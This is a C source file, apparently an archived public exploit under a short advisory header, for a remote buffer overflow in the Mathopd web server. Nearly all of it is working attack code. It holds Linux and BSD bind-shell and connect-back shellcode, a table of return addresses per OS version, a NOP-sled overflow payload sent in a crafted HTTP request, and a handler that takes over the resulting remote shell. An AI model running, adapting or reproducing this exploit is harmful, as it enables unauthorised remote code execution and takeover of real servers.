// source: https://www.securityfocus.com/bid/9871/info


It has been reported that Mathopd is prone to a remote buffer overflow vulnerability. The issue arises due to a failure to check the bounds of a buffer storing user-supplied input.

It may be possible for attackers to leverage this vulnerability to execute arbitrary instructions on the affected system. Any code executed would be in the security context of the web server process.

//aionmex26.c
//
// mathopd 1.2/3/4/5b9 remote exploit
// discovered/exploit coded by aion
// (aion@ukr.net)
// (02/11/2003)
//^M
// need url that redirected
// in config look like this:
// Control {
// Alias /blablabla
// Location http://1.2.3.4
// }
//
// --- request.c:962 ----
// if (send_message) {
// b = buf;
// b += sprintf(b, "<title>%s</title>\n"
// "<h1>%s</h1>\n", r->status_line, r->status_line);
//
// ... and i realy need a job ...
//

#include <arpa/inet.h>
#include <errno.h>
#include <netdb.h>
#include <netinet/in.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define MAXB 1024*8
#define TIMEOUT 5
#define DELAY 100000
#define CLOSE(x) { if(x) { close(x); x=0;}}
#define FREE(x) { if(x) { free(x); x=NULL;}}
#define debug(x,y) { errno=0; y; perror(x); if(errno) exit(0);}

char x86_linux_connback[] =
/* 0x3f = 0x3e + incl %eax - parse avoid by aion */
// setuid(0), setgid(0)
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
/* linux x86 connect back (port=0xb0ef) by eSDee of Netric */
        "\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
        "\x06\x51\xb1\x01\x51\xb1\x02\x51"
        "\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
        "\x89\xc2\x31\xc0\x31\xc9\x51\x51"
        "\x68\x41\x42\x43\x44\x66\x68\xb0"
        "\xef\xb1\x02\x66\x51\x89\xe7\xb3"
        "\x10\x53\x57\x52\x89\xe1\xb3\x03"
        "\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
        "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
        "\x31\xc0\xb0\x3e\x40\x89\xd3\xcd\x80"
        "\x31\xc0\xb0\x3e\x40\x89\xd3\xb1\x01"
        "\xcd\x80\x31\xc0\xb0\x3e\x40\x89\xd3"
        "\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
        "\x50\x68\x6e\x2f\x73\x68\x68\x2f"
        "\x2f\x62\x69\x89\xe3\x50\x53\x89"
        "\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";

char x86_linux_bindshell[] =
// setuid(0), setgid(0)
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xb0\x2e\xcd\x80"
/* by morgan@sexter.com (36864) */
/* 0x3f = 0x3e + incl %eax - once again by aion */
"\xeb\x75\x5e\x29\xc0\x89\x46\x10\x40\x89"
"\xc3\x89\x46\x0c\x40\x89\x46\x08\x8d\x4e"
"\x08\xb0\x66\xcd\x80\x43\xc6\x46\x10\x10"
"\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89"
"\xc2\x89\x46\x18\xb0\x90\x66\x89\x46\x16"
"\x8d\x4e\x14\x89\x4e\x0c\x8d\x4e\x08\xb0"
"\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
"\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66"
"\x43\xcd\x80\x86\xc3\xb0\x3e\x40\x29\xc9"
"\xcd\x80\xb0\x3e\x40\x41\xcd\x80\xb0\x3e"
"\x40\x41\xcd\x80\x88\x56\x07\x89\x76\x0c"
"\x87\xf3\x8d\x4b\x0c\xb0\x0b\xcd\x80\xe8"
"\x86\xff\xff\xff/bin/sh";

/* x86/bsd PIC portshell shellcode
 * by lorian/teso * port 0x4444
 */
unsigned char x86_bsd_portshell[] =
/* + setuidcode 7 bytes */
  "\x33\xc0\x50\xb0\x17\x50\xcd\x80"
  "\x31\xdb\xf7\xe3\x53\x43\x53\x43\x53\xb0\x61\x53"
  "\xcd\x80\x96\x52\x66\x68\x44\x44\x66\x53\x89\xe5"
  "\x6a\x10\x55\x56\x56\x6a\x68\x58\xcd\x80\xb0\x6a"
  "\xcd\x80\x60\xb0\x1e\xcd\x80\x53\x50\x50\xb0\x5a"
  "\xcd\x80\x4b\x79\xf6\x52\x89\xe3\x68\x6e\x2f\x73"
  "\x68\x68\x2f\x2f\x62\x69\x60\x5e\x5e\xb0\x3b\xcd"
"\x80";

char x86_bsd_connback[] =
/* BSD x86 connect back (port=0xb0ef) by eSDee of Netric */
        "\x31\xc0\x31\xdb\x53\xb3\x06\x53"
        "\xb3\x01\x53\xb3\x02\x53\x54\xb0"
        "\x61\xcd\x80\x31\xd2\x52\x52\x68"
        "\x41\x41\x41\x41\x66\x68\xb0\xef"
        "\xb7\x02\x66\x53\x89\xe1\xb2\x10"
        "\x52\x51\x50\x52\x89\xc2\x31\xc0"
        "\xb0\x62\xcd\x80\x31\xdb\x39\xc3"
        "\x74\x06\x31\xc0\xb0\x01\xcd\x80"
        "\x31\xc0\x50\x52\x50\xb0\x5a\xcd"
        "\x80\x31\xc0\x31\xdb\x43\x53\x52"
        "\x50\xb0\x5a\xcd\x80\x31\xc0\x43"
        "\x53\x52\x50\xb0\x5a\xcd\x80\x31"
        "\xc0\x50\x68\x2f\x2f\x73\x68\x68"
        "\x2f\x62\x69\x6e\x89\xe3\x50\x54"
        "\x53\x50\xb0\x3b\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";

struct targets {
  char *type;
  unsigned long ret_addr;
  int bsize;
  int retfill;
} tlist[] = {
  { "1.2pl7 freebsd 4.6 (0)", 0xbfbff6f8, 800, 50 },
  { "1.3pl7 freebsd 4.6 (0)", 0xbfbff6e8, 800, 50 },
  { "1.4p1 freebsd 4.6 (0)", 0xbfbff7fc, 800, 50 },

  { "1.2pl7 freebsd 4.6 (1)", 0xbfbff6c0, 800, 50 },
  { "1.3pl7 freebsd 4.6 (1)", 0xbfbff6b0, 800, 50 },
  { "1.4p1 freebsd 4.6 (1)", 0xbfbff7c0, 800, 50 },

  { "1.2pl7 freebsd 4.6 (2)", 0xbfbff640, 800, 50 },
  { "1.3pl7 freebsd 4.6 (2)", 0xbfbff630, 800, 50 },
  { "1.4p1 freebsd 4.6 (2)", 0xbfbff744, 800, 50 },

  { "1.2pl7 freebsd 4.8\t", 0xbfbff640, 800, 50 },
  { "1.3pl7 freebsd 4.8\t", 0xbfbff630, 800, 50 },
  { "1.4p1 freebsd 4.8\t", 0xbfbff740, 800, 50 },

  { "1.2pl7 freebsd 4.9\t", 0xbfbff610, 800, 50 },
  { "1.3pl7 freebsd 4.9\t", 0xbfbff600, 800, 50 },
  { "1.4p1 freebsd 4.9\t", 0xbfbff710, 800, 50 },

  { "1.2pl7 freebsd 5.1\t", 0xbfbff5b0, 800, 50 },
  { "1.3pl7 freebsd 5.1\t", 0xbfbff5a0, 800, 50 },
  { "1.4p1 freebsd 5.1\t", 0xbfbff6b0, 800, 50 },

  { "1.2pl7 slackware 7.1.0", 0xbffff92c, 800, 50 },
  { "1.3pl7 slackware 7.1.0", 0xbffff91c, 800, 50 },
  { "1.4p1 slackware 7.1.0", 0xbffffa24, 800, 50 },

  { "1.2pl7 red hat 6.0\t", 0xbffff8dc, 800, 50 },
  { "1.3pl7 red hat 6.0\t", 0xbffff8dc, 800, 50 },
  { "1.4p1 red hat 6.0\t", 0xbffff9c4, 800, 50 },

  { "1.2pl7 red hat 9 (dynamic 0)", 0xbfffd9c0, 800, 50 },
  { "1.3pl7 red hat 9 (dynamic 0)", 0xbfffe130, 800, 50 },
  { "1.4p1 red hat 9 (dynamic 0)", 0xbfffecd0, 800, 50 },

  { "1.2pl7 red hat 9 (dynamic 1)", 0xbfffe820, 800, 50 },
  { "1.3pl7 red hat 9 (dynamic 1)", 0xbffff110, 800, 50 },
  { "1.4p1 red hat 9 (dynamic 1)", 0xbffff4b0, 800, 50 },

  { "1.2pl7 celinux-2.0.02\t", 0xbffff500, 800, 50 },
  { "1.3pl7 celinux-2.0.02\t", 0xbffff4f0, 800, 50 },
  { "1.4p1 celinux-2.0.02\t", 0xbffff610, 800, 50 },

  { "1.2pl7 asplinux 9\t", 0xbffff590, 800, 50 },
  { "1.3pl7 asplinux 9\t", 0xbffff5b0, 800, 50 },
  { "1.4p1 asplinux 9\t", 0xbffff6b0, 800, 50 },

  // 1.5b9 - beta version, always crash in getenv()
  { "1.2/3/4/5 crash\t", 0x12345678, 800, 50 },
  { NULL, 0, 0, 0}
};

struct shellcodes {
  char *shelltype;
  char *shellcode;
  int shellport;
  int backport;
} slist[] = {
  { "x86_bsd_portshell ", x86_bsd_portshell, 17476, 0 },
  { "x86_bsd_connback ", x86_bsd_connback, 0, 45295 },
  { "x86_linux_bindshell", x86_linux_bindshell, 36864, 0 },
  { "x86_linux_connback ", x86_linux_connback, 0, 45295 },
  { NULL, NULL, 0, 0}
};

fd_set rfds;
static jmp_buf w;
struct sockaddr_in s;
long *addr_ptr, addr=0, inet=0,
  starttime, timeout=0, back=0;
int i=0, rlen=0, bsize=0,
  retfill=0, t=0, port=80,
  offset=60, srvok=1, m302ok=0,
  ver=0, exploit=0, shellport=0,
  sock=0, backport=0, a=0,
  b=0, c=0, d=0,
  l=sizeof(s);
char *buff, *ptr, *shellcode=NULL,
  ch, brute=0, *target,
  *dest, verbose=0, cmd[MAXB],
  *shelltype,
  path[256] = "/secure/";

int writem() {
  return write(t,cmd,strlen(cmd));
}

void vwrite_log(const char *fmt, va_list ap) {
  char vbuf[MAXB];
  char *p = vbuf; *p = 0;

  strcpy(vbuf, "aion> "); p += strlen(vbuf);
  vsnprintf(p, sizeof(vbuf) - strlen(vbuf), fmt, ap);
  write(2, vbuf, strlen(vbuf));
  fflush(NULL);
  usleep(DELAY);
}

void log(const char *fmt, ...) {
  va_list ap;
  va_start(ap, fmt);
  vwrite_log(fmt, ap);
  va_end(ap);
}

void recvall(int a)
{
  do {
    i = read(t, cmd, MAXB); cmd[i]=0;
    if(i<=0) return;
    if(verbose) write(2, cmd, i);
    if(a) continue;
    if((ptr=strstr(cmd, "302 Moved")))
      log(" ... 302 Moved: ok\n"), m302ok = 1;
    if((ptr=strstr(cmd, "Server: "))) {
      char *srv=strdup(ptr + strlen("Server: "));

      for(i=0; i<strlen(srv); i++)
        if(srv[i]=='\n'||srv[i]=='\r') srv[i]=0;
      log(" ... Server: %s %s\n", srv,
          !(srvok=strncmp(srv, "Mathopd", strlen("Mathopd"))) ? "ok" : "fail");
      free(srv);
    }
    if((ptr=strstr(cmd, "Content-length"))) {
      for(i=0; i<strlen(ptr); i++)
        if(ptr[i]=='\n'||ptr[i]=='\r') ptr[i]=0;
      log(" ... %s\n\n", ptr);
      if(!(ptr=strchr(ptr, 0x20))) return;
      ptr++; rlen = atoi(ptr);
    }
  } while(i>0);
}

int connectm(char *ip, int port, int *t) {
  struct sockaddr_in sck;
  struct hostent *hp;

  alarm(20);
  if(!(*t=socket(PF_INET, SOCK_STREAM, 0))) return -1;
  if((inet=inet_addr(ip))==-1) {
    if((hp=gethostbyname(ip))) memcpy (&inet, hp->h_addr, 4);
    else { log("error> cannot resolve %s\n", ip); return -1;}
  }
  sck.sin_family=PF_INET; sck.sin_port=htons(port); sck.sin_addr.s_addr=inet;
  inet=connect(*t, (struct sockaddr *)&sck, sizeof(sck));
  perror(NULL); alarm(0); return inet;
}

void list_targets () {
  log("available targets:\n");
  for(i=0; tlist[i].type != NULL; i++) {
    log(" %2d %s\t\t 0x%08x %5d %4d\n",
        i+1, tlist[i].type, (unsigned int) tlist[i].ret_addr,
	tlist[i].bsize, tlist[i].retfill);
    if(!((i+1)%3)) fputc('\n', stderr);
  }
  fputc('\n', stderr); log("shellcodes:\n");
  for(i=0; slist[i].shelltype != NULL; i++)
    log(" %2d %s (%d)\t\t %6d %6d\n",
        i, slist[i].shelltype, strlen(slist[i].shellcode),
	slist[i].shellport, slist[i].backport); fputc('\n', stderr);
}

void usage(char *v) {
  log("\n\tmathopd remote exploit by aion (aion@ukr.net)\n\n"
      "usage: %s [options] [host[:port]]\n"
      "options:\n"
      "base:\n"
      " -t <target> predefined target (0 for a list)\n"
      " -s <code> shellcode to use\n"
      " -p <path> url that redirected (default: %s)\n"
      "other:\n"
      " -a <address> shellcode address\n"
      " -l <rlen> response lenght\n"
      " -i <number> buffer size\n"
      " -r <number> fill buffer with ret addr\n"
      " -x test shellcode\n"
      " -e exploit\n"
      " -b <ip> connect back ip\n"
      " -v verbose mode\n\n",
      v, path);
  exit(0);
}

void test_shellcode() {
  void (* v)(void);
  v = (void *) shellcode;
  v();
}

void shell() {
  while (1) {
    FD_SET(0, &rfds);
    FD_SET(sock, &rfds);

    select(sock + 1, &rfds, NULL, NULL, NULL);
    if(FD_ISSET(0, &rfds)) {
      debug("... read", i = read(0, cmd, sizeof(cmd)));
      debug("... send data", write(sock, cmd, i));
      if(!strncmp(cmd, "exit", 4)) {
        log("exit ...\n");
	break;
      }
    }
    if(FD_ISSET(sock, &rfds)) {
      debug("... read", i = read(sock, cmd, sizeof(cmd)));
      debug("... recv data", write(1, cmd, i));
      if(!i) {
        log("connection closed by foreign host\n");
	break;
      }
    }
  }
}

void sigh(int sn) {
  log("use exit cmd ...\n", sn);
}

int main(int argc, char **argv, char **env) {
  if(argc<=1) usage(argv[0]); fputc('\n', stderr);
  while((ch=getopt(argc,argv,"t:s:p:a:l:i:r:xeb:vh"))!=EOF)
    switch (ch) {
    case 't': {
      i = atoi(optarg);
      if(!i)
	list_targets(),
          exit(0);
        else
          i--;
      target = tlist[i].type;
      addr = tlist[i].ret_addr;
      bsize = tlist[i].bsize;
      retfill = tlist[i].retfill;
      if(strstr(tlist[i].type, "1.3")) ver=3;
      if(strstr(tlist[i].type, "1.4")) ver=4;
    } break;
    case 's': {
      i = atoi(optarg);
      shelltype = slist[i].shelltype;
      shellcode = slist[i].shellcode;
      shellport = slist[i].shellport;
      backport = slist[i].backport;
    } break;
    case 'p': strncpy(path, optarg, sizeof(path)); break;
    case 'a': addr = strtoul(optarg, NULL, 0); break;
    case 'l': rlen = atoi(optarg); break;
    case 'i': bsize = atoi(optarg); break;
    case 'r': retfill = atoi(optarg); break;
    case 'v': verbose++; break;
    case 'x': test_shellcode(); break;
    case 'e': exploit++; break;
    case 'b': {
      strncpy(cmd, optarg, sizeof(cmd));
      for(i = 0; i < strlen(cmd); i++)
	if(cmd[i] == '.') cmd[i] = ' ';
      sscanf(cmd, "%d %d %d %d", &a, &b, &c, &d);
      if(!a||!b||!c||!d)
	log("0 in the ip. pls use another\n"),
          exit(0);
      if(!shellcode)
	log("use -s option before -b\n"),
          exit(0);
      if(shellcode==x86_bsd_connback)
	shellcode[24] = (char ) a,
	  shellcode[25] = (char ) b,
	  shellcode[26] = (char ) c,
	  shellcode[27] = (char ) d,
	  memcpy(&back, shellcode+24, 4);
      if(shellcode==x86_linux_connback)
	shellcode[12+33] = (char ) a,
	  shellcode[12+34] = (char ) b,
	  shellcode[12+35] = (char ) c,
	  shellcode[12+36] = (char ) d,
	  memcpy(&back, shellcode+12+33, 4);
    } break;
    case 'h': default: usage(argv[0]); break;
    }
  dest=argv[argc - 1];
  ptr=strchr(dest,':'); if(ptr!=NULL) { ptr[0]='\0'; ptr++; port=atoi(ptr);}

  log("start attack: (1.%d) %s\n\n", ver, target);
  log("connecting to %s %d ... ", dest, port);
  if(connectm(dest, port, &t)) exit(0);
  log("building query ...\n");
  if(ver>3) {
    sprintf(cmd, "Host: %s\n", dest);
    target=strdup(cmd);
  } else
    target=strdup("");
  sprintf(cmd,
    "GET %s HTTP/1.0\n"
    "%s"
    "Accept: text/html, text/plain\n"
	  "Accept: application/postscript, text/sgml, */*;q=0.01\n"
    "Accept-Encoding: gzip, compress\n"
    "Accept-Language: en\n"
    "Negotiate: trans\n"
    "User-Agent: Lynx/6.6.6\n"
	  "\n", path, target);
  log("sending query (%d) ... ", strlen(cmd));
  if(verbose) log("send>\n%s\n<send\n", cmd);
  writem(); perror(NULL);
  log("receiving data ...\n");
  recvall(rlen);
  close(t);
  if(srvok)
    exit(0);
  if(!m302ok)
    log("url path not redirected. use -p to override\n"),
      exit(0);
  if(!rlen)
    log("rlen auto detection fail. use -l to override\n"),
      exit(0);
  if(rlen % 2)
    log("alignment error (rlen: %d). not exploitable.\n", rlen),
      exit(0);

  log("addr: 0x%x\n", (unsigned int) addr);
  log("rlen: %d\n", rlen);
  log("offset: %d\n", offset);
  addr += rlen + offset;
  log("use addr: 0x%x (addr + rlen + offset)\n", (unsigned int) addr);

  bsize-=rlen;
  bsize-=retfill;
  bsize/=2;
  log("buffer size: %d ((bsize-rlen-retfill)/2)\n", bsize);
  log("retfill: %d\n", retfill);
  log("shellcode len: %d\n\n", strlen(shellcode));

  if(!exploit)
    log("all seems ok. run again with -e option\n"),
      exit(0);
  if(backport) {
    if(!back)
      log("no connect back ip. use -b option\n"),
	exit(0);
    log("connect back to: 0x%08x %d\n", (unsigned long) back, backport);
    sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    s.sin_family = AF_INET;
    s.sin_port = htons(backport);
    s.sin_addr.s_addr = htonl(INADDR_ANY);
    debug("... bind", bind(sock, (struct sockaddr *)&s, sizeof(s)));
    debug("... listen", listen(sock, 5));
  }
  starttime = time(NULL); setjmp(w);
  log("ready in %d sec...\r", starttime + TIMEOUT - time(NULL));
  if(starttime + TIMEOUT >= time(NULL)) longjmp(w, 1);

  log("connecting to %s %d ... ", dest, port);
  if(connectm(dest, port, &t)) exit(0);
  log("building data ...\n");
  buff = (char *)malloc(bsize+retfill*4+100);
  memset(buff, 0x00, bsize+retfill*4+100);
  for(i=0; i<bsize; i++) buff[i] = 0x90;
  ptr=buff+((bsize)-(strlen(shellcode)));
  for(i=0; i<strlen(shellcode); i++) *(ptr++) = shellcode[i];
  addr_ptr = (long *)ptr;
  for(i=0; i<retfill; i+=4) *(addr_ptr++)=addr;

  log("building query + data ...\n");
  sprintf(cmd,
    "GET %s%s HTTP/1.0\n"
    "%s"
    "Accept: text/html, text/plain\n"
	  "Accept: application/postscript, text/sgml, */*;q=0.01\n"
    "Accept-Encoding: gzip, compress\n"
    "Accept-Language: en\n"
    "Negotiate: trans\n"
    "User-Agent: Lynx/6.6.6\n"
	  "\n", path, buff, target);
  log("sending query + data (all: %d) (buff: %d) ... ",
      strlen(cmd), strlen(buff));
  if(verbose) log("send>\n%s\n<send\n", cmd);
  writem(); perror(NULL);

  log("shell ...\n");
  if(shellport) {
    log("connecting to %s %d ... ", dest, shellport);
    sleep(1); if(connectm(dest, shellport, &sock)) exit(0);
  }
  if(backport) {
    debug("... accept", sock = accept(sock, (struct sockaddr *)&s, &l));
  }
  signal(2, sigh);
  shell();
  CLOSE(t);
  CLOSE(sock);
  FREE(target);
  log("done.\n");
  return 0;
}